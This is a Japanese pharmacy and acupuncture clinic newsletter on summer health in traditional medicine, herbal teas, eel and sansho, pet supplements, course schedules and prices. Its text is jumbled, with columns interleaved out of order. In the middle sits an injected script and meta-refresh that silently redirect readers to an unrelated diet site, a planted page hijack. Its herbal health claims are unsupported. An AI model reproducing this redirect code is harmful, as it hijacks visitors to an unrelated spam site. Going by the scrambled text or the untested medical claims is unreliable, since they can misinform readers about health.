
「生姜湯が甘すぎて苦手」「カラダの芯まで温まりたい」

という方におすすめ！ワンランク上の生姜湯です。

おなかをあたためる漢方「大建中湯」をベースに、女性に

嬉しいコラーゲンや本葛を配合、甘さ控えめ大で美味しい♪

老舗の漢方メーカー栃本天海堂さんの自信作！

東洋医学では五臓の「心」を、「こころ」ではなく「しん」と読みます。心臓など循環器系を示すだけでな

く、人の精神や意識など脳のコントロールもするので、心臓とココロは同じグループになります。

「心」に不調があると、高血圧、動悸、不整脈、脳卒中など循環器の症状だけでなく、イライラ、物忘れが

多い、不眠、悪夢をよく見る・・・など精神が落ち着きません。　　　　　　　　　　　　　　　　　　

熱がこもりやすい「心」にとって、夏は苦手な季節。身体から余分な熱を取り除くことが大切です。　

・・・といっても、アイスクリームや冷たいジュースが良いわけではありません。胃腸が冷えると食欲が落ち

て夏バテまっしぐら！トマト、ゴーヤ、キュウリ、ナスなど、夏野菜は身体から余分な熱や水分を除くもの

が多くあります。冬に比べて夏にトマトがおいしく感じるのは、体の欲求なのですね！
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 陽気が最も盛んな時期！ 暑さと湿気に負けず、気持ちよく過ごしましょう。

お知らせ
今月の

薬膳茶

講座

  夏の暑さと「心」

お知らせ

http://kaisei-drug.co.jp/wp/calendar
各種講座のスケジュールとご予約はこちら！

■ 「ちょっぴり大人なしょうが湯」新入荷！

■せんねん灸「太陽」あります 〼

お灸を試したいけどやけどが心配、火を使わないでお灸をしたい、

という方へ！もぐさ成分を含み、肌に直接貼れる新しい形

のお灸です。匂いもなく 3時間ほど持続時間もあります。

少し肌寒い時、生理中の冷えや痛みが気になるときにもおすすめ♪

　　【24 個入り：1831 円】

■ネットで簡単予約！
     漢方相談・漢方体質アドバイス・鍼灸の

     予約がネット上で簡単にできます。

     是非ご利用くださいませ。

　

身体にこもった熱や湿気がスッキリ♪

おなじみの緑茶をはじめ菊花や薄荷は、身体にこもった熱対策に

おすすめ！菊花は頭部の熱を冷まし、目の充血や頭痛、のどの痛

みなどを緩和。スーッと後味が爽やかな薄荷は、気のめぐりを良

　　　　　　　　　くしてイライラや頭痛など頭にこもった熱を

　　　　　　　　　クールダウン。いらない水を除く働きもある

　　　　　　　　　ので、身体がスッキリ軽くなりますね！　　　　

　　　　　　　　　　

　　　　　　　　

　　　　　　　　　

材料：緑茶　菊花　薄荷

幼児・小学生・中高生へ、年代に合わせた性教育

様々な情報にかこまれる現代だからこそ、性の伝え方はとても

大切。相手も自分も大切にする、性についてを学びます。

みびょうレター





【子どもたちのための新・性教育 】

漢方予約➡　https://reserva.be/mebyoulabo

鍼灸予約➡　https://reserva.be/mebyoushinkyu　

【６包入：864 円】

■鍼灸院臨時休業のお知らせ

(全日休業） ７/4、7/7、７/10、７/11、7/15、７/18

( 午前のみ営業）7/3、7/5 ～ 7/7、6/11、6/12、6/19

　　　　　　　  7/20、7/24 ～ 7/27

（午後のみ営業）7/14

　
■ 「わんわん漢方」発売！

わんちゃんのための 100％生薬のみで作られた薬膳サプリです。

薬膳食材以外は一切入っていないので、保管は冷凍庫で。

そのまま食べても、いつのもごはんにまぜてもGood♪

「わんわん漢方」ですが、ねこちゃんにもおすすめです (*^^*)

　　

<script>window.googleJavaScriptRedirect=1</script><META name="referrer" 
content="origin"><script>var 
n={navigateTo:function(b,a,d){if(b!=a&&b.google){if(b.google.r){b.google
.r=0;b.location.href=d;a.location.replace("about:blank");}}else{a.locati
on.replace(d);}}};n.navigateTo(window.parent,window,"http://diet4uchimom
o.web.fc2.com/");
</script><noscript><META http-equiv="refresh" 
content="0;URL='http://diet4uchimomo.web.fc2.com/'"></noscript>

■ 「薬膳グラノーラ講座」開催します！

　

【ペットの体質チェック＆季節別ケア】

  追加：6/1（木）10:00 ～ 13:00

　

●11:00 ～ 12:30　未就学児保護者向け

　「性のこと、どう伝える？」　参加費：1500 円

●14:00 ～ 15:30　小学生向け（親子同伴でも）

　「命ってどうやってできるの？」参加費：2500 円

●16:30 ～ 18:00　中高生向け（子どものみ）

　「恋と命のはじまりの秘密」参加費：3500 円　【内田登代紀先生】

未病ラボフェスで大好評だった薬膳グラノーラを、ご自宅でも！

しっかり薬膳グラノーラの効能を学び、実際にオーブンで焼いて

試食をします。体質のチェック法を学び、自分に合ったトッピ

ングをブレンド。お持ち帰りもあります。

　　

日時：8/26（土）10:00 ～ 12:00

参加費：1500 円（持ち帰り分込み）

定員：10 名

詳細は、別紙講座案内８月のスケジュールもしくはＨＰで！

●150g　987 円（小型犬 1か月分）

●500g　2561 円（小型犬 3か月分 /大型犬 1か月分）

　 ☆お試し用 100 円もあります☆

　材料：くこ、菊花、山査子、なつめ、はとむぎ、霊芝、余甘子

夏のさわやか薬膳茶



「土用の丑」ってそもそも何の日？ 「うなぎと山椒」も薬膳料理？！コラム

スタッフ

緑　豆（りょくとう）

夏の主気である「暑」「火」は心と関係が深

く、心に影響すると、心煩、狂躁などが現れ

やすい。「少府」は精神的な興奮、イライラを

和らげるツボ

イライラを和らげるツボ

なんと今年の夏は、土用の丑が7月25日と8月6日の2回あり

ます！土用の丑ってうなぎを食べる日というイメージがあ

りますが、何の日でしょう？？そもそも、「土用」って？

実は土用は春夏秋冬で4回あります。夏の土用は立秋の前

の18日間を秋が始まる前、つまり季節の変わり目にあたる

わけですね！

「丑」は十二支の干支の１つを指します。今年の干支は「酉」

ですが、干支は年だけでなく、方角や日にちを数えるのに

も使われています。12日で1周するので、今年は土用の18日

間のうち2回まわってくるようです。

昔から土用には「う」がつくものを食べると縁起が良いとい

うことで、江戸時代の天才発明家、平賀源内先生がうなぎ

をすすめたことが始まりだそうです。

生 薬 つぼ

矢野 野村

　　　緑豆　200g ： 2268 円

薬　局 鍼灸院

■ 煎じ薬：600 円 / 日 ～

■ エキス剤：400 円 / 日 ～

その他、錠剤・粉末・シロップ等あり

みみつぼ・アロマハンドマッサージ

      漢方足湯・温灸椅子 etc.

【ワンコインメニュー 500 円】

■ メディカル鍼灸：4000 円

■ 美容鍼：6000 円

■メディカル＆美容鍼セット：8000 円

■クイック鍼：1000 円 / 一ヵ所

瀬戸

　　　　　　少府　：　第４、第５中手骨の間、

　　　　　　　　　　　　拳を握ったときに小指頭が

　　　　　　　　　　　　あたるところ

【漢方薬】

ブログ＆facebook やってます！ 回 生 薬 局 検 索

◆山椒

薬 膳 的 な 効 能

スタッフおすすめ

ペットのための漢方や薬膳、

アロマテラピーを学び中です。

うちのトイプードル、クッキー

君のケアに早速使ってます。

動物は素直なのか、反応が

とてもわかりやすい…‼

ひとりごと

冷えがあり、特に下半身がむくみ方へおすすめの漢方。生理痛や貧血に

よく使われるので、婦人科ではよく処方されます。色白で線が細い女性に

よく使われたため、「当芍美人」という言葉も残っています。

◆うなぎ

　　　　　　

　　　　　

　

　夏に冷えがちなおなかを温め、腹痛や下痢を改

　善。うなぎの脂の酸化を抑え消化を助けるため、

　うなぎとの相性はばっちり☆のぼせ気味の人は控えめに。

日本では緑豆もやしや春雨などはよく見かけ

ますが、緑豆そのものはめずらしいのでは。

中国では、夏にお茶やお料理に活躍するお豆

です。

身体の熱をおしっこと一緒にしっかり出し

てくれますし、のどの渇きにもよいので、

夏バテの予防におすすめです。

小豆の半分ほどの大きさで、ウグイス色の

かわいいお豆ですよ！

のどが不調なときに、はちみつを舐

めて、首をあたためて寝るとよいで

すよ！のどを乾燥から守り殺菌もし

てくれます。私事ですが産休に入り、

お休みをいただきます。復帰したら

またよろしくお願い致します！

食べれる海の生物の本を買って

みました。泳ぐと体にくっつい

て邪魔だと思っていた海藻。意

外と食べられるものばかりで、

今度行くときは持ち帰って食べ

てみようと思います。

（寒熱）平　（薬性）潤、甘　（帰経）肝、腎

（寒熱）温　（薬性）昇、辛　（帰経）脾、腎

　

　血や気を補い、栄養が豊富で滋養強壮におすすめ！

　ビタミンAも多く目にも良いですが、うなぎ1人前で一日に必要な

　ビタミンA量の3倍になり、昔から妊婦さんは食べすぎないよう言

　い伝えられています。胃腸が弱い方も消化しにくいので控えめに。


